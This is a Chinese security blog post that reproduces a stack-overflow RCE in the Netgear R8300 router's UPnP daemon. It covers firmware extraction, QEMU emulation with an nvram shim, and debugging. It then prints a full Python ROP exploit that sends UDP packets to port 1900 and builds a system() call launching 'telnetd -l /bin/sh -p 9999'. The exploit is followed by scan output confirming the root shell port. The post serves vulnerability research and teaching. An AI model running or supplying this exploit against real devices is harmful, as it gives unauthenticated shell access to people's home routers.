Netgear-R8300-UPnP RCE漏洞分析复现

  • A+
所属分类:安全文章
根据Netgear官方在2020年7月31日发布的公告,在Netgear R8300型号的路由器中,UPNP服务存在缓冲区溢出漏洞(PSV-2020-0211)。
通过对Netgear-R8300-UPnP栈溢出漏洞的复现,掌握在仿真情况下对nvram相关问题的处理,注重细节的利用。值得借鉴的是,在漏洞利用过程中,NULL字符截断问题的解决思路。(文章中若有不足之处,请大家见谅)

漏洞分析

固件下载地址

https://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip

提取文件系统

binwalk -Me R8300-V1.0.2.130_1.0.99.chk

/usr/sbin/upnpd 程序中漏洞点解析

      upnp服务开启1900端口,在upnp_main函数执行流程时,通过recvfrom函数接收数据并传递给ssdp_http_method_check函数,在ssdp_http_method_check内部执行strcpy操作时,未对输入的数据做任何安全检查,造成栈溢出。

源码如下:

int upnp_main(){    //...            recvBuf[0] = 0;      //接收通过1900端口发送的数据,保存在 recvBuf 缓冲区中。      v28 = recvfrom(dword_C4580_upnp_http_fd_1900, recvBuf, 0x1FFFu, 0, (struct sockaddr *)&v63, (socklen_t *)&v71);      v29 = v64;      stru_C44FC.__fds_bits[(unsigned int)dword_C4580_upnp_http_fd_1900 >> 5] &= ~(1 << (dword_C4580_upnp_http_fd_1900 & 0x1F));      if ( v29 )      {        if ( v28 )        {          inet_ntoa_b();          recvBuf[v28] = 0;          if ( acosNvramConfig_match("upnp_turn_on", "1") )            //接受的数据recvBuf传递给ssdp_http_method_check函数            ssdp_http_method_check(              recvBuf,              (int)&v59,              (unsigned __int16)(HIWORD(v63) << 8) | (unsigned __int16)(HIWORD(v63) >> 8));        }        else        {          printferror(2, "%s(%d):EOF...n", "upnp_main", 883);        }      }     //... }
signed int __fastcall ssdp_http_method_check(const char *recvBuf, int a2, int a3){ //... int v4; // r6 int v39; // [sp+18h] [bp-640h] int v40; // [sp+24h] [bp-634h] int *v51; // [sp+628h] [bp-30h] //... printferror(3, "%s(%d):n", "ssdp_http_method_check", 203); if ( dword_93AE0 == 1 ) return 0; v51 = &v40;  //1. 未对recvBuf进行长度检查  //2. strcpy未进行复制的数据长度进行限制  strcpy((char *)&v40, recvBuf);  v7 = sub_B60C((const char **)&v51, (const char *)&v52); v8 = v7;  //... }

启动UPNP服务

qemu启动

sudo chroot . ./qemu-arm-static --strace ./usr/sbin/upnpd

问题:No such file or directory

12334 brk(0x000e5000) = 0x000e500012334 open("/var/run/upnpd.pid",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)12334 exit(2

解决方法: 创建目录

Netgear-R8300-UPnP RCE漏洞分析复现

可以看到,var->tmp/var

mkdir -p ./tmp/var/run

再次运行upnpd

sudo chroot . ./qemu-arm-static --strace ./usr/sbin/upnpd

Netgear-R8300-UPnP RCE漏洞分析复现

问题: No such file or directory

12394 open("/dev/nvram",O_RDWR) = -1 errno=2 (No such file or directory)

原因: 

虚拟机中没有nvram设备

解决方案: 

劫持与nvram读写相关的函数,通过软件的方式来提供相关的配置


修复环境

1. 搭建arm交叉编译链环境

命令直接安装

sudo apt-get install gcc-arm-linux-gnueabi

通过buildroot进行搭建(推荐)

wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
sudo apt-get install libncurses-dev patch
make clean
make menuconfig #根据需求进行配置
# uname -r 查询linux版本
sudo make -j4

2. nvram.so 库加载问题

2.1 编译nvram:

下载 custom_nvram

https://github.com/therealsaumil/custom_nvram

经测试,自带的custom_nvram_r6250.so 无法使用

sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD=./firmadyne/custom_nvram_r6250.so ./usr/sbin/upnpd

Netgear-R8300-UPnP RCE漏洞分析复现

2.2 手动编译 nvram.so

a. 使用arm-linux-gnueabi-gcc 编译,生成的 nvram.so 库无法加载

起始我是通过 arm-linux-gnueabi-gcc 和 armhf中的gcc 进行编译的nvram.so,都无法使用,费了好长时间

#/bin/bash
arm-linux-gnueabi-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
cp nvram.so /home/mira/test/Netgear/R8300/squashfs-root/firmadyne/
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD=./firmadyne/nvram.so ./usr/sbin/upnpd

Netgear-R8300-UPnP RCE漏洞分析复现

出现这种问题说明 nvram.so 无法使用

b. 使用arm-linux-gcc 编译,生成的 nvram.so (arm-linux-gcc, 通过buildroot进行配置)
#/bin/bash=
arm-linux-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
cp nvram.so /home/mira/test/Netgear/R8300/squashfs-root/firmadyne/
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD=./firmadyne/nvram.so ./usr/sbin/upnpd

Netgear-R8300-UPnP RCE漏洞分析复现

此时,错误原因与之前不一样了,说明 编译的 nvram.so 库问题已经解决。

3. 符号问题

114264 mmap2(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0xf65d1000
114264 write(2,0xf65d1000,0) = 0
114264 write(2,0xf6fff7b9,16)./usr/sbin/upnpd = 16
114264 write(2,0xf65d1002,24): can't resolve symbol ' = 24
114264 write(2,0xf675f6d4,5)dlsym = 5
114264 write(2,0xf65d101c,2)'
= 2
114264 munmap(0xf65d1000,4096) = 0
114264 exit(1)

3.1 原因分析:

出现dlsym符号问题,是因为nvram.so 库源码 custom_nvram_r6250.c 中调用了 dlsym 函数,对 system、fopen、open 进行hook。

Netgear-R8300-UPnP RCE漏洞分析复现

3.2 解决方案:

查看一下lib库中哪些库中包含 dlsym 符号,加载相关的库

[email protected]:lib$ grep -r dlsym ./
Binary file ./libldb.so.1 matches
Binary file ./libkrb5-samba4.so.26 matches
Binary file ./libdl.so.0 matches
Binary file ./libcrypto.so.1.0.0 matches
Binary file ./libsamba-modules-samba4.so matches
Binary file ./libhcrypto-samba4.so.5 matches
Binary file ./libsqlite3.so.0 matches

查看哪个库中导出 dlsym 函数

readelf -s ./libldb.so.1 | grep dlsym
readelf -s ./libkrb5-samba4.so.26 | grep dlsym
readelf -s ./libdl.so.0 | grep dlsym
readelf -s ./libcrypto.so.1.0.0 | grep dlsym
readelf -s ./libsamba-modules-samba4.so | grep dlsym
readelf -s ./libhcrypto-samba4.so.5 | grep dlsym
readelf -s ./libsqlite3.so.0 | grep dlsym

Netgear-R8300-UPnP RCE漏洞分析复现

根据查看结果可以知道,在libdl.so.0 库中实现了dlsym函数

3.3 ida验证一下:

Netgear-R8300-UPnP RCE漏洞分析复现


3.4 解决:

通过 LD_PRELOAD 设置环境变量,优先加载 libdl.so.0 库,如下:

sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD="./firmadyne/nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd

Netgear-R8300-UPnP RCE漏洞分析复现

a. 可以看到,刚才的 dlsym 符号问题应解决

b. 出现新的问题:没有 /tmp/nvram.ini 这个文件

4. /tmp/nvram.ini 文件问题

创建 /tmp/nvram.ini文件

touch -p tmp/nvram.ini
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD="./firmadyne/nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd

Netgear-R8300-UPnP RCE漏洞分析复现

a. nvram.ini 文件问题解决

b. 产生 acosNvramConfig_get('hwver') =  读取配置问题

5. nvram 配置问题

5.1 原因分析

在upnpd程序中,通过acosNvramConfig_get读取nvram配置信息

Netgear-R8300-UPnP RCE漏洞分析复现

Netgear-R8300-UPnP RCE漏洞分析复现

当使用 nvram.so 库时,会使用nvram.so中的acosNvramConfig_get,通过分析库的源码 custom_nvram_r6250.c可以发现,程序中通过读取/tmp/nvram.ini配置文件中的信息获取nvram的相关配置

5.2 解决方案

根据ida逆向,在/tmp/nvram.ini中添加对应的配置

upnpd_debug_level=9
lan_ipaddr=192.168.2.2
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD="./firmadyne/nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd

Netgear-R8300-UPnP RCE漏洞分析复现

这说明,upnpd已经成功运行。

5.3 验证upnpd运行成功

a. netstat -aptn

根据逆向可知,查看是否有 tcp:5000 端口

Netgear-R8300-UPnP RCE漏洞分析复现

Netgear-R8300-UPnP RCE漏洞分析复现

b. 访问网页验证:

Netgear-R8300-UPnP RCE漏洞分析复现

c. 查看UDP 1900端口是否运行

sudo lsof -i:1900

Netgear-R8300-UPnP RCE漏洞分析复现

可知udp 1900 端口已经开启

由此可知,upnpd运行成功。

qemu虚拟系统环境

设置桥接网络

sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -p /etc/sysctl.conf
sudo iptables -t nat -A POSTROUTING -s "192.168.122.0/255.255.255.0" ! -d "192.168.122.0/255.255.255.0" -j MASQUERADE
sudo iptables -N vm-service
sudo iptables -A vm-service -j ACCEPT
sudo iptables -A FORWARD -s 192.168.122.0/24 -j   vm-service

sudo dnsmasq --strict-order --except-interface=lo --interface=virbr0 --listen-address=192.168.122.1 --bind-interfaces  --dhcp-range=192.168.122.2,192.168.122.254 --conf-file=""  --pid-file=/var/run/qemu-dhcp-virbr0.pid  --dhcp-leasefile=/var/run/qemu-dhcp-virbr0.leases --dhcp-no-override

启动虚拟机

sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

挂载文件系统

[email protected]:R8300$ tar -cf ./Netgear-R8300-squashfs-root.tar squashfs-root
#开启http 80 port
[email protected]:R8300$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

#armhf中下载 Netgear-R8300-squashfs-root.tar
debian-armhf:R8300# wget http://192.168.2.210/Netgear-R8300-squashfs-root.tar
#解压文件
tar -xf Netgear-R8300-squashfs-root.tar
cd squashfs-root
#挂载系统
debian-armhf:squashfs-root# mount -o bind /dev/ ./dev/
debian-armhf:squashfs-root# mount -t proc /proc/ ./proc/
debian-armhf:squashfs-root# mount sysfs ./sys -t sysfs
debian-armhf:squashfs-root# chroot . ./bin/sh
mount -o bind /dev/ ./dev/
mount -t proc /proc/ ./proc/
mount sysfs ./sys -t sysfs
chroot . ./bin/sh

运行upnpd

LD_PRELOAD="/firmadyne/nvram.so ./lib/libdl.so.0" /usr/sbin/upnpd

Netgear-R8300-UPnP RCE漏洞分析复现

调试:

.text:00025E4C                 BEQ             loc_25F40
.text:00025E50                 ADD             R3, SP, #0x30
.text:00025E54                 ADD             R7, SP, #0x630
.text:00025E58                 SUB             R3, R3, #0xC
.text:00025E5C                 ADD             R8, SP, #0x620
.text:00025E60                 STR             R3, [R7,#-8]!
.text:00025E64                 MOV             R1, R4  ; src
.text:00025E68                 MOV             R0, R3  ; dest
.text:00025E6C                 ADD             R8, R8, #0xC
.text:00025E70                 BL             strcpy

远程先运行 upnpd, 再挂接进程

#运行 upnpd

LD_PRELOAD="/firmadyne/nvram.so ./lib/libdl.so.0" /usr/sbin/upnpd

#挂接进程

./gdbserver-armhf-9.2-static --attach 192.168.122.89:1234 2765 # upnpd process 2765

#本地

[email protected]:sbin$ gdb-multiarch ./upnpd

pwndbg> b main

Breakpoint 1 at 0x263bc

pwndbg>b *0x0001D838  #.text:0001D838     BL     ssdp_http_method_check

pwndbg> target remote 192.168.122.89:1234

至此,upnpd运行过程中所遇到的问题全部解决,而且程序可以正常调试,接下来就可以构造payload,进行漏洞利用。

poc

: poc为网上公布的代码,只需要在程序调试过程中,根据自己环境的相关情况,对payload稍作修改。

import socket
import time
import sys
from struct import pack

a = """
  # NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
  # Date : 2020.03.09
  # POC : system("telnetd -l /bin/sh -p 9999& ") Execute
  # Desc : execute telnetd to access router        
"""
print a

p32 = lambda x: pack("<L", x)

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7ABBBc9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7DDDBa9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7 AAA Aa9CbEEEECb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4F'
expayload = ''

payload = payload.replace('z3Bz', 'x01xf0xf9x76')  # Need to Existed Address 0x76f9f000

payload = payload.replace(' AAA ', 'xf0x30x02x00')  # change eip

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

"""
.text:00013644                 MOV             R0, R10 ; dest
.text:00013648                 MOV             R1, R5 ; src
.text:0001364C                 BL             strcpy
.text:00013650                 MOV             R0, R4
.text:00013654                 ADD             SP, SP, #0x5C ; ''
.text:00013658                 LDMFD           SP!, {R4-R8,R10,PC}
"""

bssBase = 0x9E150  # string bss BASE Address

expayload += 'a' * 4550  #0x11C6
expayload += p32(bssBase + 3)  # R4 Register
expayload += p32(0x3F340)  # R5 Register //tel
expayload += 'IIII'  # R6 Register
expayload += 'HHHH'  # R7 Register
expayload += 'GGGG'  # R8 Register
expayload += 'FFFF'  # R9 Register
expayload += p32(bssBase)  # R10 Register
expayload += 'BBBB'  # R11 Register
expayload += p32(0x13644)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 6)  # R4
expayload += p32(0x423D7)  # R5 //telnet
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 8)  # R4
expayload += p32(0x40CA4)  # R5 //telnetdx20
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 10)  # R4
expayload += p32(0x4704A)  # R5 //telnetdx20-l
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 11)  # R4
expayload += p32(0x04C281)  # R5 //telnetdx20-l/bin/x20
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 16)  # R4
expayload += p32(0x40CEC)  # R5 //telnetdx20-l/bin/
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 18)  # R4
expayload += p32(0x9CB5)  # R5 //telnetdx20-l/bin/sh
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 22)  # R4
expayload += p32(0x41B17)  # R5 //telnetdx20-l/bin/shx20-px20
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 24)  # R4
expayload += p32(0x03FFC4)  # R5 //telnetdx20-l/bin/shx20-px2099
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 26)  # R4
expayload += p32(0x03FFC4)  # R5 //telnetdx20-l/bin/shx20-px209999
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 28)  # R4
expayload += p32(0x4A01D)  # R5 //telnetdx20-l/bin/shx20-px209999x20&
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase + 30)  # R4
expayload += p32(0x461C1)  # R5 //telnetdx20-l/bin/shx20-px209999x20&x20x00
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x13648)  # strcpy

print "[*] Make Payload ..."

"""
.text:0001A83C                 MOV             R0, R4 ; command
.text:0001A840                 BL             system
"""

expayload += 'd' * 0x5c  # dummy
expayload += p32(bssBase)  # R4
expayload += p32(0x47398)  # R5
expayload += 'c' * 4  # R6
expayload += 'c' * 4  # R7
expayload += 'c' * 4  # R8
expayload += 'd' * 4  # R10
expayload += p32(0x1A83C)  # system(string) telnetd -l

s.connect(('192.168.122.89', 1900))

print "[*] Send Proof Of Concept payload"

s.send('ax00' + expayload)  # expayload is rop gadget

s.send(payload)

def checkExploit():
   soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
       ret = soc.connect(('192.168.122.89', 9999))
       return 1

   except:
       return 0

time.sleep(5)

if checkExploit():
   print "[*] Exploit Success"
   print "[*] You can access telnet 192.168.1.1 9999"
else:
   print "[*] Need to Existed Address cross each other"
   print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
   print "[*] To exploit reexecute upnpd, description"
   print "[*] Access http://192.168.1.1/debug.htm and enable telnet"
   print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"

s.close()
print """

[*] Done ...
"""

查看poc执行结果

查看进程和端口

Netgear-R8300-UPnP RCE漏洞分析复现

扫描端口

[email protected]:R8300$ nmap -T4 -A -v 192.168.122.89

Netgear-R8300-UPnP RCE漏洞分析复现

可以看到成功开启 9999端口,poc 利用成功。


参考:

https://www.anquanke.com/post/id/217606

https://paper.seebug.org/1311/

欢迎从事网络设备安全研究、漏洞挖掘的各位大佬和小白,投递简历,加入水滴实验室。(招人)






本文始发于微信公众号(水滴安全实验室):Netgear-R8300-UPnP RCE漏洞分析复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: